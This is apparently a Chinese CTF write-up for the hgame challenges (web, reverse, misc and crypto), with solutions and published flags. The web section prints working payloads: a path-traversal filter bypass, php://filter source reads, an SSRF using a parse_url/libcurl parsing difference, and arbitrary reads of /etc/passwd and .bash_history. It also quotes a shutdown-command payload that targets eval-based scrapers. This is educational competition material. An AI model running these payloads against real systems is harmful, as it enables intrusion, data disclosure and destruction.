web
easy_php [150]
根据页面标题提示 “where is my robots”,访问 /easyphp/robots.txt
,内容为 “img/index.php”,访问得到图片与源码:
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
由于 str_replace 函数只进行一次替换,可用 ....//
绕过过滤
尝试后发现请求 ?img=....//flag
返回 “maybe_you_should_think_think”,flag 可能位于 /flag.php
中,但由于通过 include_once 方式将文件执行,如果没有进行输出操作就无法显示出来
利用 php 伪协议就可以读取文件内容并 base64 编码后输出
提交 GET 请求 ?img=php://filter/read=convert.base64-encode/resource=....//flag
,返回 “PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK”,解码可得 php 源码
Flag: hgame{You_4re_So_g0od}
php trick [200]
php 审计,源码如下:
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
访问 admin.php 返回 “only localhost can see it”
step 1 & step 2
要使两个内容不同的字符串的 MD5 值不等(!=
),可以使其哈希值为 0e
开头
提交: str1=s878926199a&str2=s155964671a
step 3 & step 4
与前一步相似,但哈希值比较变为非全等(!==
),可以提交数组参数,使 md5 函数无法处理而返回 null
(在前一步中由于对参数进行 string 类型转换,若提交数组参数则结果都为 "Array"
导致相等,无法绕过)
提交: str3[]=1&str4[]=2
step 5 & step 6 & step 7 & step 8
php 会将参数名中的 “.” 替换为 “_”
提交数组参数,可以使 is_numeric 返回 false;数组与其他类型比较大小时总是更大;转为字符串后为 "Array",与整数型比较大小时返回 false
提交: H.game[]=1
step 9 & step 10 & step 11
利用 parse_url 与 libcurl 对 URL 的解析差异
当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对[email protected]:[email protected] 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过
Source: https://xz.aliyun.com/t/2215
提交: url=http://[email protected]:[email protected]/admin.php
请求后获得 admin.php 的源码:
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
利用 php 伪协议,可以使 file_exists 返回 false,而 file_get_contents 可以成功读取
在 url 参数的末尾加上参数 ?filename=php://filter/read=convert.base64-encode/resource=flag.php
,可以得到 base64 编码后的 flag.php 源码,解码得:
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
Flag: hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
PHP Is The Best Language [150]
php 审计,源码如下:
<?php
include 'secret.php';
#echo $flag;
#echo $secret;
if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}
?>
当参数为数组时会使 hash_hmac 函数无法处理,返回 null,将 $secret
置空
由于盐参数 $secret
为空,$gate
的值可知
php 对以 “0e” 开头的字符串进行弱比较时(通过 ==
)转换为浮点型导致相等
提交: ?door[]=1&key=s878926199a&gate=7fb99dc1f423a257fd7100f01f262c958ea594043711c150fd9ba834dadb0188
Flag: hgame{Php_MayBe_Not_Safe}
Baby_Spider [300]
爬虫题,要求在 40 秒内依次完成 30 个计算题
若 User-Agent 可疑,几个算式后问题会变为 (lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----
,若 python 爬虫脚本使用 eval 函数获取答案则会执行关机命令
从第 11 题开始,样式表 statics/style.css 内容发生变化,问题会使用字体文件 static/Ariali.otf,该字体对数字进行了替换,导致实际显示的算式中数字与 HTML 中不同
从第 21 题开始,样式表 statics/style.css 内容再次发生变化,不再使用 Ariali 字体,但对问题样式添加了 :after 伪元素,在页面渲染时变为 css 中指定的内容
最终脚本:
import requests
import re
arialiMap = ['1', '0', '2', '6', '9', '4', '3', '5', '8', '7']
questionPattern = re.compile(r'<div\s+class="question-container"><span>([^<]*)</span></div>')
questionPatternForStyleSheet = re.compile(r'content:"([^"]*)";')
r = requests.Session()
r.headers.update({'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'})
r.get('http://[REDACTED]/')
response = r.post('http://[REDACTED]/', data={'token': '3rWm1tMecTNfiWdP7IxE840CQq9TVQip'})
questionNumber = 1
while True:
styleSheet = r.get('http://[REDACTED]/statics/style.css').text
question = questionPattern.findall(response.text)
if questionNumber < 11:
question = question[0].strip('=?')
elif 10 < questionNumber < 21:
question = question[0].strip('=?')
question = list(question)
for i in range(len(question)):
if 47 < ord(question[i]) < 58:
question[i] = arialiMap[int(question[i])]
question = ''.join(question)
elif 20 < questionNumber < 31:
question = questionPatternForStyleSheet.findall(styleSheet)[0].strip('=?')
else:
print(response.text)
break
answer = str(eval(question))
print('No. %d\tQuestion: %s\tAnswer: %s' % (questionNumber, question, answer))
questionNumber = questionNumber + 1
response = r.post('http://[REDACTED]/solution', data={'answer': answer})
Flag: hgame{324e38d797b657f2172c73154d2209a7f7988c3f2c2c1acbb73672d626855aed}
Math有趣 [400]
第一个问题是 “1+1=?”,提交答案后进入第二题:求 “x/(y+z)+y/(x+z)/z(y+x)=4” 的最小整数解集,而测试发现不管用什么格式提交都无效
查看页面源码,题图路径为 img/cXVlc3Rpb24ucG5n.php,文件名为 base64 编码的 “question.png”,测试 “img/Li9xdWVzdGlvbi5wbmc=.php”(“./question.png”),返回了题图;测试出 img/Li4vLi4vZXRjL3Bhc3N3ZA==.php
(“../../etc/passwd”),返回了文件内容,存在任意文件读取漏洞
读取 ../../root/.bash_history
,得到项目路径 /usr/local/tomcat/webapps/ROOT/
提交一个格式错误的 base64 编码,如将 “../../etc/passwd” 的 base64 编码删去一个 “=”,使程序报错,从错误信息中得到函数名 hgame.controller.MathController.image
读取 ../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
,反编译得到 Java 源码,关于 flag 部分代码如下:
@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model) {
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
使用 BSGS (baby-step giant-step)
算法计算出 x 的值,可使用 python 脚本:https://gist.github.com/0xTowel/b4e7233fc86d8bb49698e4f1318a5a73 [存档]
Flag: hgame{15387368}
reverse
Pro的Python教室(三&四) [300]
题目给出一个 pyc 文件,首先使用 uncompyle6
尝试反编译,但是会报错:
$ uncompyle6 third.pyc
# ...[OMITTED]...
File "c:\python2\lib\site-packages\xdis\bytecode.py", line 179, in _get_const_info
argval = const_list[const_index]
IndexError: tuple index out of range
# ...[OMITTED]...
使用 marshal 和 dis 模块获取字节码
$ python2
>>> import marshal, dis
>>> with open('third.pyc', 'rb') as f:
... f.seek(8)
... code = marshal.load(f)
>>> dis.dis(code)
2 0 JUMP_ABSOLUTE 3
>> 3 JUMP_ABSOLUTE 9
6 LOAD_CONST 15 ("You're Wrong! ")
>> 9 JUMP_ABSOLUTE 14
3 12 PRINT_ITEM
13 LOAD_CONST 100
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\python2\lib\dis.py", line 43, in dis
disassemble(x)
File "C:\python2\lib\dis.py", line 95, in disassemble
print '(' + repr(co.co_consts[oparg]) + ')',
IndexError: tuple index out of range
可见其中 “13 LOAD_CONST 100” 这条指令超出了常量表的范围,用十六进制编辑器打开 pyc 文件,将第 45 字节(值为 0x64)改为 0x01,即将指令修改为 “13 LOAD_CONST 1”
再次运行以上脚本,即可成功获取全部字节码
开头部分的字节码整理后如下:(已将 “13 LOAD_CONST 1” 改回 “13 LOAD_CONST 100”)
# ...[OMITTED]...
2 0 JUMP_ABSOLUTE 3 [71 03 00]
>> 3 JUMP_ABSOLUTE 9 [71 09 00]
6 LOAD_CONST 15 [64 0F 00]
>> 9 JUMP_ABSOLUTE 14 [71 0E 00]
3 12 PRINT_ITEM [47 -- --]
13 LOAD_CONST 100 [64 64 00]
16 STOP_CODE [00 -- --]
17 LOAD_CONST 1 (None) [64 01 00]
# ...[OMITTED]...
此处使用了重叠指令(Overlapping Instruction)
混淆手段,实际执行为:
# ...[OMITTED]...
2 0 JUMP_ABSOLUTE 3 [71 03 00]
>> 3 JUMP_ABSOLUTE 9 [71 09 00]
6 LOAD_CONST 15 [64 0F 00]
>> 9 JUMP_ABSOLUTE 14 [71 0E 00]
>> 14 LOAD_CONST 0 [64 00 00]
17 LOAD_CONST 1 [64 01 00]
# ...[OMITTED]...
关于更多 Python 字节码混淆手段,请见 https://blog.csdn.net/ir0nf1st/article/details/61650984 [存档]
之后手工将字节码翻译为源码(或许也可以修改错误的字节码以使 uncompyle6 等工具成功反编译,未尝试)
源码如下:
#!/usr/bin/env python2
import string
letters = list(string.letters) + list(string.digits) + ['+', '/']
dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'
def encode(input_str):
global letters
str_ascii_list = ['{:0>8}'.format(str(bin(ord(i)))).replace('0b', '') for i in input_str]
output_str = ''
equal_num = 0
while str_ascii_list:
temp_list = str_ascii_list[:3]
if len(temp_list) != 3:
while len(temp_list) < 3:
equal_num = equal_num + 1
temp_list += ['00000000']
temp_str = ''.join(temp_list)
temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
temp_str_list = [int(x, 2) for x in temp_str_list]
if equal_num:
temp_str_list = temp_str_list[0:4 - equal_num]
output_str += ''.join([letters[x] for x in temp_str_list])
str_ascii_list = str_ascii_list[3:]
output_str = output_str + '=' * equal_num
return output_str
print("Welcome to Processor's Python Classroom Part 3&4!\n")
print('qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.')
print("Now let's start the origin of Python!\n")
print('Plz Input Your Flag:\n')
enc = raw_input()
lst = list(enc)
lst.reverse()
llen = len(lst)
for i in range(llen):
if i % 2 == 0:
lst[i] = chr(ord(lst[i]) - 2)
lst[i] = chr(ord(lst[i]) + 1)
enc2 = ''
enc2 = enc2.join(lst)
enc3 = encode(enc2)
if enc3 == dec:
print("You're right! ")
else:
print("You're wrong! ")
其中 encode 函数是一个使用了非标准编码表的 base64 编码函数,可以通过如下脚本进行解码获取 flag:
#!/usr/bin/env python2
import string
from base64 import b64decode
dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'
standard_alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
custom_alphabet = string.letters + string.digits + '+/'
decode_trans = string.maketrans(custom_alphabet, standard_alphabet)
enc2 = b64decode(dec.translate(decode_trans))
lst = list(enc2)
lst.reverse()
for i in range(len(lst)):
lst[i] = chr(ord(lst[i]) - 1)
if i % 2 == 0:
lst[i] = chr(ord(lst[i]) + 2)
print(''.join(lst))
Flag: hgame{W3lc0me_To_anothe2_Python!}
Pro的Python教室(二) [100]
题目给出一个 pyc 文件,使用 uncompyle6
反编译,得到源码:
print "Welcome to Processor's Python Classroom Part 2!\n"
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
len = len(enc)
enc1 = []
enc2 = ''
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
for i in range(len):
if i % 2 == 0:
enc1.append(chr(ord(enc[i]) + 1))
else:
enc1.append(chr(ord(enc[i]) + 2))
s1 = []
for x in range(3):
for i in range(len):
if (i + x) % 3 == 0:
s1.append(enc1[i])
enc2 = enc2.join(s1)
if enc2 in aaa:
print "You 're Right!"
else:
print "You're Wrong!"
exit(0)
使用如下脚本解出 flag:
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
enc = [0]*27
flag = []
for i in range(0, 27):
enc[(3 - i // 9) % 3 + (i % 9) * 3] = ord(aaa[i])
for i in range(0, 27):
if i % 2 == 0:
flag.append(chr(enc[i] - 1))
else:
flag.append(chr(enc[i] - 2))
print(''.join(flag))
Flag: hgame{Now_Y0u_got_th3_PYC!}
misc
Are You Familiar with DNS Records? [50]
使用 dig 命令查询所给域名 “[REDACTED]” 的 DNS TXT 记录(最适合放 flag)
$ dig [REDACTED] TXT
# ...[OMITTED]...
;; ANSWER SECTION:
[REDACTED]. 597 IN TXT "v=spf1 include:spf.mail.qq.com ~all"
[REDACTED]. 597 IN TXT "flag=hgame{seems_like_you_are_familiar_with_dns}"
# ...[OMITTED]...
Flag: hgame{seems_like_you_are_familiar_with_dns}
快到火炉旁找个位置坐坐! [150]
修复炉石传说套牌代码(deck code) “AAECAf0EBu0FuAju9gLQwQIMigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA”
套牌代码通过 varint
编码数据,再进行 base64 编码,相关资料在 https://hearthsim.info/docs/deckstrings/ [存档]
解码后检查数据,发现单卡数量标志位为 6,而后面实际的单卡数据只有 4 个;双卡数量标志位为 11,实际数据有 13 个
修改数量标志位为实际值,然后按照炉石导出标准,将卡牌 ID 升序排列
重新编码,得到正确的套牌代码
Flag: hgame{AAECAf0EBO0FuAjQwQLu9gINigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA}
找得到我嘛?小火汁 [150]
流量分析题
找到 No. 402,操作为 “RETR /pub/test/secret.zip” 的 FTP 流量,将 No. 405 - 406 的 FTP DATA 流量的数据导出为文件,合并后解压得到 secret.log
secret.log 内容为 NSS Key Log 格式的 SSL/TLS 密钥日志,在 Wireshark 的 Edit > Preferences > Protocols > SSL 菜单中指定 (Pre)-Master-Secret log filename 为该文件并重载数据包
找到 No. 194 的 HTTP 流量,将 1.tar 导出为文件,解压得到 flag.png,使用十六进制编辑器打开,得到 flag
Flag: hgame{Congratulations_You_Got_The_Flag}
初识二维码 [150]
二维码修复题
从所给压缩包解压 flag.txt,内容为 png 的 base64 编码,转换为图片文件后打开发现是一个没有定位标志(Position detection patterns)的二维码
使用图像编辑工具补上三个定位标志及两条定时标志(Timing patterns)
扫码得到 flag
Flag: hgame{Qu1ck_ReSp0nse_cODe}
crypto
浪漫的足球圣地 [150]
密文: “966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559”
搜索题名发现指曼彻斯特,猜测为 Manchester 编码
密文由 “5”、“6”、“9”、“A” 四种字符组成,将其作为十六进制字符串解码后转为二进制码,再进行 Manchester 解码(IEEE 802)
将明文转为字符串,得到 flag
Flag: hgame{3f24e567591e9cbab2a7d2f1f748a1d4}
hill [180]
3x3 hill 密码,由于题目说明 “flag中含有BABYSHILL”,可进行已知明文攻击
可使用 sage 脚本 ChesleyTan/Hill-Cipher-Cracker
Flag: hgame{THEBABYSHILLCIPHERATTACK}
Vigener~ [150]
普通的 Vigenère 密码
在线解密:https://www.dcode.fr/vigenere-cipher
Flag: hgame{gfyuytukxariyydfjlplwsxdbzwvqt}
0 Comments